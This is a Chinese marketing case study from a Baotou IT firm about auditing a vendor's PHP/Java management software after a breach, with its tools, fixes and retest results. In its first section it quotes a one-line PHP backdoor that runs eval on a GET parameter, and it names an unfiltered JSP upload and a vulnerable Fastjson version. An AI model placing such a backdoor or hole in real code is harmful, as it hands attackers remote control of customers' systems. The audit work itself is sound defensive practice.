①【项目背景】上线三个月，数据库被拖了
青山区一家公司买了一套行业管理软件，源码交付，部署在阿里云上。上线三个月，数据库被拖，攻击者留了一个隐藏管理员账号。排查发现：登录接口的验证码是前端校验，抓包绕过就行；上传接口没做类型限制，传个jsp直接执行；依赖包里有个2019年的Fastjson 1.2.47，反序列化漏洞；最离谱的是源码里有一段“if ($_GET['debug']==1) { eval($_GET['c']); }”，开发商说是“调试用的，忘了删”。这套系统卖了三十多套，估计都带着这个后门。
②【咨询设计】审计分三层：源码、依赖、运行时
源码层用SonarQube加Semgrep，规则集覆盖SQL注入、XSS、命令执行、越权、硬编码密钥；依赖层用OWASP Dependency-Check加Trivy扫jar和npm包，比对CVE库；运行时用DAST工具（AWVS或Burp Suite）跑一遍，验证漏洞可利用性。三层缺一不可，源码扫出来的可能是误报，DAST能确认；DAST扫不到的硬编码密钥，源码能看见。这套系统是PHP加Java混合，PHP部分重点看文件包含和反序列化，Java部分重点看Fastjson、Shiro、Log4j。
③【施工规划】审计环境要跟生产隔离，别在线上跑扫描
复制一份生产数据到测试环境，脱敏后再扫，身份证、手机号全部替换。扫描时间安排在业务低峰，DAST的爬虫会把会话表撑爆。SonarQube部署在内网一台8核16G的机器上，扫描30万行代码大约40分钟。Semgrep的自定义规则针对这套系统的框架写，比如ThinkPHP的input()未过滤、MyBatis的${}拼接。所有发现按CVSS 3.1打分，高危以上必须复现，写出利用步骤，不能只给一条扫描结果。
④【安全补丁】修漏洞不如断根：开发流程要改
这次共发现高危11个、中危23个。修复分两步：先堵，把debug后门删掉、上传接口加白名单、Fastjson升到1.2.83并开safeMode、数据库账号降权；再治，给开发团队配pre-commit钩子，提交前跑Semgrep，硬编码密钥直接拒；CI流水线加依赖扫描，高危组件不许构建；每季度做一次安全培训，讲真实案例，不讲理论。很多老板觉得买了源码就有主动权，实际上源码不等于安全，开发商的安全水平就是你的安全水平。
⑤【验收交付】复测通过，才算修完
修复后复测：11个高危全部复现失败，上传jsp返回403，验证码改为后端校验，debug参数无效，Fastjson反序列化payload不再执行。依赖扫描高危组件清零，剩余中危5个（无可用补丁，已加WAF规则缓解）。交付了审计报告（含复现步骤、修复建议、CVSS评分）、组件清单（SBOM）、修复代码diff、复测记录。客户拿这份报告去跟开发商交涉，要回了三十万尾款。
⑥【售后承诺】代码的事，能说清楚
我们做代码审计不做“扫描报告搬运工”，每个高危都要能复现、能修、能验证。包头市区2小时到场，远程审计全国可做，17704868686随时联系，大年三十也接。上线前审计、等保整改、渗透测试、供应链安全治理，终身免费咨询。买源码之前先审计，比出事之后再补救便宜十倍。
【不舍昼夜技术 · 包头IT全生命周期服务】
业务全闭环：咨询规划、方案设计、工程实施、竣工验收、维保售后。
咱能干的：包头修电脑/装监控/拉网线/做系统/救数据/办软件/卖耗材。
技术范畴：5G通信、大数据服务、信息系统集成、网络安全、商用密码、平面设计。
服务区域：昆区、青山区、九原区、东河区、高新区等包头全境，随叫随到。
技术热线：17704868686（本地专业团队，不舍昼夜为您守候！）